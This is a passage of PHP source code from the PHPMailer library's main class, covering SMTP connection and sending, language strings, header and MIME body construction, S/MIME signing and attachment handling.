            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('[email protected]', 'Joe User'), array('[email protected]', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('[email protected]', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
